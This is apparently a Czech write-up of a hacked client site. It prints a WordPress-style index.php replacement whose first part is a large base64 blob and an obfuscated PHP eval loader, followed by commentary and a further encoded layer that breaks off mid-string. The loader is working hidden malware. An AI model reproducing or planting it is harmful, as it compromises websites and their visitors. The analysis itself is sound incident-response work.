TJ3MFAyOWFXT3dhV2ZLRkFSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEFmdTBKRDV5V1lTT1Uzd2FpWU5UekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSll1bEpSMEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZdDFrVVJBa1pGMG5mS2VsSll1bHBSV2tQSXU5SllFZVdSRUZvM1drUEk0dHpJOHlwYzR2aTI5M2lCSmFwYzlUVWJFa1pZNUZnUnUvV29wTHNoTmFwUkFUV09RYXBjaVRpZjB0Q0lFVGlZNHRwdEVrVW91OXBjNHZXT3dqTlk0dHBiRTBzaE5hcE9FMENJTmJXMndJc2hOYXBPWHlOM0thcGNpNlpkMHRDdEFqZ29BSVUzS2VuaDR0cGJBTFUyQU1zaE5hcE9BTFUyQU1DSU5iV29wVHNoTmFwUkFqV29wVENJTmJXb3BMTjJYWFViTjlwYzR2V29wTE4yWFhVYk5hcGNpZVdSRUZzaE5hcE9YMFdSdTdmS2VsSll1bHBPWDBVQnFIUDI5YVdPd2FXWXU5SlJFY2dCMGVOMjF5V29FdlVjbHZXMndJbmh2N2ZLZWxKWXVsZ0JQZUpvQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVdhVTJweVdSd3Jpb3BYaTJ3YVdZTlRub0xBWUl1bEpZdWxKWXVsS09Ya1BCRWtOSWxJSzI5YVdPd2FXWTEwWm9Ta3pJUzBpb1gwQzJYMFVCRjdKT0FlUG9wcmlvSzlXb0ViQ3hsSW54TEFZSXVsSll1bEpZdWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyOU1nUkVqVU9Xa1dPQXlVdEVrVXRLdG5oazdmS2VsSll1bEpZdWxKWXVsSll1dmdSRWpVVjlkVTI1MGlCNTBKZjBsTjNFY28zcGtOT3FYUDJRZUpiOU1nUkVqVU9Xa1dPQXlVdEVrVXRLSUNZTnRDWUVlV08xTG8yQXlVdEVrVXRLVHpGMG5KWXVsSll1bEpZdWxKWXVsaUJBZVVjdXZnUkVqVVY5ZFUyNTBpQjUwekYwbkpZdWxKWXVsSll1bEpZdWxpb1hUV1lsVHpGMG5KWXVsSll1bEpZUzlpQnFyaWhTVGlJWHJXUnByV1JKZXBPWDBVQnFIUDI5YVdPd2FXWUZ0aTJ3MFAyOWFXT3dhV2ZRRkdSU1hpMlF0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVN1Z093WGlPd2NuWVdKd1ZFS0NyRGFHaHUxR2Z1bGhCNTBpb3BhUEJGbFEyd2NXYndjSkR3Y05iOWNwY3Y3ZktlbEpZdWxKWXVsSll1bEpZU2taT2swbll2N2ZLZWxKWXVsSll1bEpSMWtVUkFrSk9rYm5SQTBOdEEwTklsdmdSRWpVVjlkVTI1MGlCNTBDWVd0aW9FZFUyNTBpQjUwQWZ1ME5PVnRpaE5Ubm9MQVlJdWxKWXVsSll1bEpZdWxKRFNlaUJWdmlvSmVwMFhRd1Z1eUdoNHFKZktGQVlTelUzS2xFYjkxVWJLdG54TEFZSXVsSll1bEpZdWxKWXVsSk93NGdvS2VueExBWUl1bEpZdWxKWXVsSEJ3TE4yUWxnQlBlTjNFY04zRWNuWUVlV08xTG8yQXlVdEVrVXRLTHAyV2tXT0F5VXRFa1V0S3JHZlZGUEJXa3BjdlRaRjBuSll1bEpZdWxKWXVsSll1bEtPWGtQQkVrTklsdGhWRVFRWThxQ2REbEdydXFKRDF5V2J3dkpWU2tOYjFYVWJ3YVdPcTVwY3Y3ZktlbEpZdWxKWXVsSll1bEpZdXZnUkVqVVY5ZFUyNTBpQjUwSmYwbE4zRWNvM3BrTk9xWFAyUWVKYldrV09BeVV0RWtVdEtyR2ZWRlBCV2tKSUZ0cGNGdmdSRWpVVjlkVTI1MGlCNTBueExBWUl1bEpZdWxKWXVsSll1bEpPWGtQQkVrTklsdHhPOWRQb0VUVTI0NkpZTmFwT1gwVUJxSFAyOWFXT3dhV1l2N2ZLZWxKWXVsSll1bEpZdWxKWVNrWk9rMG5ZdjdmS2VsSll1bEpZdWxKUjBBWWwwbkpZdWxKUjBBWXQwQVlsMG5pdHdhUDNFVFUyNGxOMjFUTjJweVdZbFRKUkxBWUl1bEpZdXZQQldrVXRLbHNoU3JXUnAwVTJxeVcyd2NuWUVIUTB3aHd2d2hCY1dKd1ZFS28xd3hFd3BIS1FXVnhrS3RvaHY3ZktlbEpZdWxnQlBsbllFWGkyd2FXWXVYc2h1SUpJdmxaRjBuSll1bEpZdWxKWXV2aTI5eWkycWtLYjkwSmYwbFBvcGNQb3ZlSnZXeVUyV0xpQnB5V1lKTEpra1hnTzl5SmhTeFVSd2NOWUpMSmtrWGdPOXlKVkFMV29wRkpJRklFMjl5aTJxa0pEVnZRMndhTjJRSUNZV3RVMjl0VU9RdENZdXRaQlZlVTI4dG54TEFZSXVsSll1bEpZdWxpYjljaUJWZGdZdWVwT1d5VTJXTGlRcHlXWVNYTmN1dldiVkxuaFM3ZktlbEpZdWxKWXVsSll1bEpZdXZOM0VjSmYwbE4zRWNXTzlMVTNXa05JbHZXYlZMbnhMQVlJdWxKWXVsSll1bEpZdWxKT2tiSllYcldScEZVM0dlcE9WdGlCNTBDWXV2TjNFY25odmxaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWVM5ZktlbEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpScGtXUndjVUlTYlBCcXJpeExBWUl1bEpZUzlmS1Q5ZktUYldCNWRXT2t5VUlTclVCOTBnT3djUGI5MG5ZdmxaRjBuSll1bEpZRVhpMndhV1l1OUpSQTBOdEV5VU85M2lvSmVwVjl4RXdwQkV3cFVwMFhRd1ZTSHd3QVZRazlTRTB3endZV1dueExBWUl1bEpZU1RpSXVlcE9WdGlCNTBKWUQ5SllKSW5oUzdmS2VsSll1bEpZdWxKWUVyTk9rdmlvcHhnb0VrSmYwbFBvcGNQb3ZsbllwUWlCNWRpQjUwd1JwWFdid0xpb0pJQ1lwak4yNUlVM0tJQ1lweFUzQXlOM1NUaU93Y25jSkxKa0F5aTI5MUpSV2tQSVNyTk9rdmlvSklDWXBUUHc5WE5iQWVnb2lrTklKTEpra3lXQkVYVTBweVdZSkxKdjF4eHZweVdZSkxKdlRYV2JEbG5EOWJXT3dhSlJBRlBCMGxQYjkwbmhKTEp2cFhnUUUxUTNTVGlPd2NKSUZJd2I5VFVPRElDWXBpUEI1dmlvbGxQYjkwSklGSUtrQUZnQkVrTklKTEp0RTNnQkFrVU93Y0pJRklRMjl0VTNRbFEzU1RpT3djSklGSVEzU2tpQkU1SlZBRmdCRWtOSUpMSnZYa05iazBOYms0SklGSVFSazBnTzlhQ293Y1VPcVRQSUpMSnZWTGlvWFhKWVhwS2hTU05iQWVnb2lrTkl2SUNZcFNOMkxJQ1lwVlpPVklVM0tJQ1lwZldvQTBVY0pMSnY5MVdPaXlaRHB5V1k5aVUyRVhVMHB5V1lKTEp0a1hQM3ZJQ1lweFdvcDJpb2tZVTNLSUNZcExpQldySklGSVVSV0ZDb0VjZ29pVFBCRklDWXB6V29FZGdZSkxKa0EwUEJBTVFiVmpQYnFrTklKTEprRWVpaFMzaUJKbFBvcGRnT2syaWh1ZWhRRGxLb3BkZ09rMmlvSlRKSUZJUU93Y1VZUzBVMjlMSklGSXhRZXFHYnB5V1lKTEp2NWtXT0FjUEJpMEpJRkl4d0FwRVFBY1BvV0xpb0pJQ1lwb0UydzBKUkV5VTJxckpJRklVT1ZjUGJrYUpJRklFYmtyZ1lTcmlCVmNQMmxJQ1l1dFBia2FpMnB5V1lOTEpZV0lQQmt2V2hOTEpZV1hVMkZ0Q1l1dFBia2FpY05MSllXaVBCNXZpb1hZVTNLdENZdXRLQlhjaUJpcktiOTBwY3Y3ZktlbEpZdWxKWXVsSk9peU5id1hQMmxsbllFck5Pa3Zpb3B4Z29Fa0pPVnJKWUUyUEJGVEpSTEFZSXVsSll1bEpZdWxKWXVsSllFcldSSmxzaFNyV1JwMFUycXlXMndjbllFMlBCRlR6RjBuSll1bEpZdWxKWXVsSll1bGdCUGxuUkEwTnRTeU5jbHZQQldrVXRLTEpZRXJXUkpUbmhTN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bE5idzBXb3BhSlJFY1dCUTdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWlCcXJpb0xBWUl1bEpZdWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5KWXVsSlIwQVl0MEFZYmkxVWJBMGdCOWFKUkFqVTN3MGlPOGVwUndjVVlrN2ZLZWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFN1aWJrTGl3OXRpb0VIUDI5YVdPd2FXUkdlcFJ3Y1VZdjdmS2VsSll1bGdCUGxuWUR2aWJrTGl3OWRVMjUwaUI1ME5jdmxaRjBuSll1bEpZdWxKWXV2UDJsbHNoU2RXb3BMbzJrYWdvS2VueExBWUl1bEpZdWxKWXVsUDN3Y1VWOXJpb0V5TlJLZXBPQWVDWVNmd3dwR3gxU1FvMXdoeFlGbHBSd2NVWXY3ZktlbEpZdWxKWXVsSk9BMU5icUhOMncwVTNTMG5ZRWRnWUZsSzF3aHhEOUt3VjloRXdFd1F2NVFRdlZ6UTBpVlFJRnFueExBWUl1bEpZdWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFNkV29wTG8ydzRpQkdlcE9BZW54TEFZSXVsSll1bEpZdWxQM3djVVY5ZFVPOXJpaGx2UDJsVHpGMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93SFAyOWFXT3dhV1JHN2ZLVDlmS1RiV0I1ZFdPa3lVSVNMZ29BMEVPa2NuWUV2Z29KVFpGMG5KWXVsSllFYmdCcWtQb3BjSmYwbFBvcGNQb3ZlbnhMQVlJdWxKWVNUaUlYVE4xOXZnb0plcE9FVE5JdlRaRjBuSll1bEpZdWxKWVNUaUl1ZXBPRWVKZjBsVTNTa1ViRVROSWx2aU9rY25oazdmS2VsSll1bEpZdWxKWXVsSllTM2dPa0xpaHVlbllFYmdCcWtKZjBsTmJ3WGlPRVROSWx2aU9sVG5odVhzeDBsaWJWTE4yUVRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllYYmdCcWtvMnc0Z29BME5jbHZpT2tjQ0lKeUpJNHZpYmtMaWh2VEpZUGJKWUViZ0Jxa0p4MElDSUpscElQbHBPaVRVT1FYc2hKYUNJSlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1dmlia0xpQlZjTmtqV0pmMGxwT2lUVU9RN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxQMnF5TjJ3dmdvSmVwT0VlbnhMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93WE50SjdmS1Q5ZktlL3NsPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );?> Vlastně to ani nebyl inject, nýbrž na ostro replacnutý index.php z wordpressu (klientský web jede na nette aplikaci - k wordpressu má daleko). Vypadá to na práci automatizovaného bota, kterému se povedlo prolomit nějakou známou díru a prostě tam plácnul připravený index.php, který měl udělat zbytek práce. Všimněte si prvních dvou řádků kódu - nastavuje dobu pro dokončení kódu na 1 hodinu + povoluje spuštěnému kódu pokračovat i přes přerušení načítání uživatelem. Zbytek je příprava proměnných pro další práci injectu (nechápu proč je nemá také v base64 kódu, jelikož ten také obsahuje další globální proměnné). Další zajímavostí je snaha o zmatení čtenáře kódu proměnlivým používáním nul a óček v názvech pracovních proměnných pro překlad kódu (viz. $O00OO0) První věc co mě zajímala byl obsah base64 enkryptu, který byl evalován - https://www.base64decode.net/ $O0O000="TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqINd5bgBqkJRWcgoEkJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSaPB1kJOiXURAkJxqINd4tzF0nJYulJYulJYS9fKelJYulJYulJOkbJYXrWRprWRJepOVviV9dU250iB50CYutCtSeNYNTnhS7fKepYKvvPhu9JO1vAhXjifQeKYEHE0wQBcWXp10TnxLAYlvpYhEIJf0lUBK1nO1vAhXupV9REwEUp2JtohvTzF0nYKvpgBPepOD9soAjU3w0iO8ep2X0WRu6Cc8tCIEtU3WkPI4tC2DaNOXFpcvlHRFlpOJ9shNcGBG0ifurGBEvGdv5GfDrAxiXzxVIG2wbP2AXGfDrGYNTZF0nYKvpYhErUoA0NIu9JDuvo0WVwVLtN21rWRJtoxLAYlvpYKkTiIXbgBqko3S1WV9dU250iB50NclvNOV0gYuaJYNypcuaJYEXiOEHP29aWOwaWYFlpRAjN3Ecnhk7fKepYKvpYBwdgO8lp29MprLAYlvpYKk9fKepYKk9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutiOwLpck7fKelJYulJYulJOkbnOiTUOwHioXTN3ErnYEbgBqko3SXWOlTnoLAYIulJYulJYulJYulJYEvPoEXJf0lN21yWoEvUclvibkLiw9FPoEenxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuviOV0Phu9JYNtzF0nJYulJYulJYS9fKelJYulJYulJOkbnRA0NtA0NIlviOV0PhFtCcNapOVviV9dU250iB50nhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshS0NbkjnYEvPoEXnh4IoRpNUIJap1ATWOwjPou6JOX0WRSrzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWOVHUbw3Jf0lWRpTUhlviOV0PhvaJkqcoO4ICIWxgoEkUBVFzISeWREFzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeibkLiw9FWoEHP29aWOwaWRGepOiTUOwHNOV0gYFviOV0Pw9aioNTnhS7fKelJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+ibkLihS3Nbk0ihSbPBqrihD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSvU2wrJO5yWYSkZOkrWYD8PtJ+prLAYIulJYulJYulHK0nJYulJR0AYl0nJYulJOw4goK7fKT9fKTbWB5dWOkyUISTN19eWREFNclTJRLAYIulJYSTiIueJYVkUoS0Zhlvo1AVQkiVQkLthVEQQVGtohvlpIPlN3EcWO9LU3WkNIlvo1AVQkiVQkLthVEQQVGtohvlJx09JYWyibPtnhS7fKelJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJR0liBqriBkbJYllgoArioKepV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohvlpIPlpV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohu9sx0lp2X0WRSrpcuTJRLAYIulJYulJYulNbw0WopaJREcWBQ7fKelJYulHhSkURAkgBPlnYuXiB1FWRvepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYPbJRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYD9shutU2ibpcvlZF0nJYulJYulJYScioE1Nb4lWRp1ixLAYIulJYS9fKelJYulNbw0WopaJOiXURAkzF0nHK0npREkUoulshSupV9REwEUp3AjWOwjNYWWzF0npOkvJf0lKYEH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